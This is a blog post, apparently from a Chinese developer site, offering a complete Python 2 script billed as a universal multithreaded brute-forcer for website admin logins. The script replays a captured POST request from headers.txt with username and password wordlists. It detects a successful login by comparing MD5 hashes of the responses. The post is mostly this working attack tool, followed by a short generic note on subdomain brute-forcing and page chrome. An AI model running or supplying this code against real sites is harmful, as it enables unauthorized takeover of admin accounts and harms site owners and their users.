python版通用后台账号密码多线程爆破必杀器

111 篇文章 2 订阅
#! /usr/bin/env python2.7
#coding=utf-8
#通用后台账号密码多线程爆破必杀器


import re
import os
import sys
import gzip
import Queue
import getopt
import msvcrt
import urllib
import httplib
import hashlib
import urllib2
import StringIO
import threading


class hackcrack(threading.Thread):
    def __init__(self,ooldmd5,uuu,ppp):
        threading.Thread.__init__(self)
        self.ooldmd5 = ooldmd5
        self.uuu = uuu
        self.ppp = ppp
    def run(self):
        while 1:
            if queue.empty() == True:
                break
            self.crack(self.ooldmd5,self.uuu,self.ppp)
    def crack(self,ooldmd5,uuu,ppp):
        data = queue.get()
        pathes = path()
        headerses = headers()
        arg = host()
        m = re.compile('%s=(.*?)&' % uuu)
        n = re.compile('%s=(.*?)&' % ppp)     
        us = m.findall(data)
        pw = n.findall(data)   
        conn = httplib.HTTPConnection(arg)
        try:
            conn.request('POST',pathes,data,headerses)
            httpres = conn.getresponse()
            
            if ('content-encoding', 'gzip') in httpres.getheaders():
                compressedstream = StringIO.StringIO(httpres.read())  
                gzipper = gzip.GzipFile(fileobj=compressedstream)     
                ccode = gzipper.read()
            else:
                ccode = httpres.read()
            if ccode:
                newmd5 = hashlib.md5(ccode).hexdigest()
            else:
                newmd5 = hashlib.md5('mdbhack').hexdigest()
            if ooldmd5 != newmd5:
                print '\n<info> http://%s' % arg
                print '<info> http://%s%s' % (arg,pathes)
                print '<info> I Find It -------->username:%s password:%s<--------' % (us[0],pw[0])
                print ccode
                os._exit(1)
            else:
                print '[%s] hacking -------->username:%s password:%s' % (queue.qsize(),us[0],pw[0])
                #print ccode
        except:
            pass        

class ThreadGetKey(threading.Thread):
    def run(self):
        try:           
            chr = msvcrt.getch()
            if chr == 'q':
                print "stopped by your action ( q )"
                os._exit(1)
        except:
            os._exit(1)



def info():
    print '''
     ,--^----------,--------,-----,-------^--,
     | |||||||||   `--------'     |          O ..
     `+---------------------------^----------|
       `\_,-------, ___@ mdbhack#QQ.com______|
         / XXXXXX /`|     /
        / XXXXXX /  `\   /
       / XXXXXX /\______(
      / XXXXXX /        
     / XXXXXX /
    (________(    For example:
     `------'         crack.py -u username -p password
    
    '''


def path():
    f = open('headers.txt','r')
    for p in f:
        if 'POST' in p:
            path = p.split(' ')[1].strip()
            #print path
            return path
def headers():
    headers = {}
    hheader = ['Host','User-Agent','Accept','Accept-Language','Accept-Encoding','Referer','Cookie','Connection','Content-Type']
    f = open('headers.txt','r')
    for p in f:
        for hh in hheader:
            if hh in p:
                headers[hh] = p.split(':',1)[1].strip()    
    return headers
def host():
    f = open('headers.txt','r')
    for p in f:
        if 'Host' in p:
            arg = p.split(':')[1].strip()
    #print arg
    return arg

def testcrack(username,password):
    pathes = path()
    arg = host()
    headerses = headers()
    
    getusername = username
    getpassword = password
    f = open('headers.txt','r')
    for xxx in f:
        if '&' in xxx and '=' in xxx:
            getdata = xxx.strip()  
    getpw = re.compile('%s=(.*?)&' % password)
    getusern = re.compile('%s=(.*?)&' % username)    
    bb = getpw.sub('%s=%s&' % (password,'mdbhackcom'),getdata)
    data = getusern.sub('%s=%s&' % (username,'mdbhack'),bb)
    conn = httplib.HTTPConnection(arg)
    conn.request('POST',pathes,data,headerses)
    httpres = conn.getresponse()
    if ('content-encoding', 'gzip') in httpres.getheaders():
        compressedstream = StringIO.StringIO(httpres.read())  
        gzipper = gzip.GzipFile(fileobj=compressedstream)     
        code = gzipper.read()
    else:
        code = httpres.read()
    if code:
        oldmd5 = hashlib.md5(code).hexdigest()
    else:
        oldmd5 = hashlib.md5('mdbhack').hexdigest()
    
    return oldmd5
    
def crack(username,password):
    global queue,ooldmd5
    threads = []
    line = 5
    queue = Queue.Queue()
    pathes = path()
    arg = host()
    ooldmd5 = testcrack(username,password)
    headerses = headers()
    f = open('headers.txt','r')
    for xxx in f:
        if '&' in xxx and '=' in xxx:
            getdata = xxx.strip()
    for us in open('username.txt','r'):
        print '<info> Scan Username is %s ' % us.strip()
        for pw in open('password.txt','r'):
            getpw = re.compile('%s=(.*?)&' % password)
            getusern = re.compile('%s=(.*?)&' % username)
            bb = getpw.sub('%s=%s&' % (password.strip(),urllib2.quote(pw.strip())),getdata)
            data = getusern.sub('%s=%s&' % (username,urllib2.quote(us.strip())),bb)
            queue.put(data)



        shouhu = ThreadGetKey()
        shouhu.setDaemon(True)
        shouhu.start()
        
        for x in range(line):
            y = hackcrack(ooldmd5,username,password)
            y.start()
            threads.append(y)
        for x in threads:
            x.join()
        
        
    

if __name__ == '__main__':
    if len(sys.argv) == 5:
        f = open('headers.txt','r')
        for xxx in f:
            if '&' in xxx and '=' in xxx:
                getdata = xxx.strip()        
        try:
            opts, args = getopt.getopt (sys.argv[1:], "u:p:")#Assigning Parameters
        except:
            info()
            sys.exit(1)
        for opt,arg in opts:#Traversal
            if opt == '-u':
                if arg.strip() in getdata:
                    username = arg.strip()
                else:
                    print '\nusername table %s is Wrong' % arg.strip()
                    username = ''
            elif opt == '-p':
                if arg.strip() in getdata:
                    password = arg.strip()
                else:
                    print 'password table %s is Wrong' % arg.strip()
                    password = ''
            else:
                info()
                sys.exit(1)
        if username and password:
            crack(username,password)
        else:
            sys.exit(1)
        
    else:
        info()
        sys.exit(1)
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Python多线程爆破子域名是一种利用Python编程语言的多线程技术来自动化执行子域名爆破过程的方法。子域名爆破是通过在一个域名的子域上尝试不同的组合,以便找到可能存在的其他域名或子域名。以下是关于使用Python多线程来实现子域名爆破的简要说明: 首先,我们需要导入所需的Python库,如`requests`和`threading`。 然后,我们可以编写一个函数,用于检查子域名是否存在。这个函数将接受一个要检查的子域名作为参数,并使用`requests`库向该子域名发送HTTP请求。如果返回状态码为200,则表示该子域名存在;否则,该子域名不存在。 接下来,我们可以编写一个主函数,在这个函数里,我们可以定义一个子域名列表,可以从字典文件或其他来源获取。然后,我们可以创建多个线程来并发检查这些子域名。可以使用`threading`库来实现多线程。 在主函数中,我们可以定义一个线程池,并为每个子域名创建一个线程。然后,我们可以调用`start`方法来启动这些线程。一旦所有线程完成任务,我们可以调用`join`方法,以确保所有线程都已经完成。 最后,我们可以将结果输出到文件或其他适当的位置,以便后续分析。 需要注意的是,子域名爆破可能涉及到违反服务商规定的活动,因此在使用此技术时应遵循法律和道德规范,并获得相关授权和许可。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值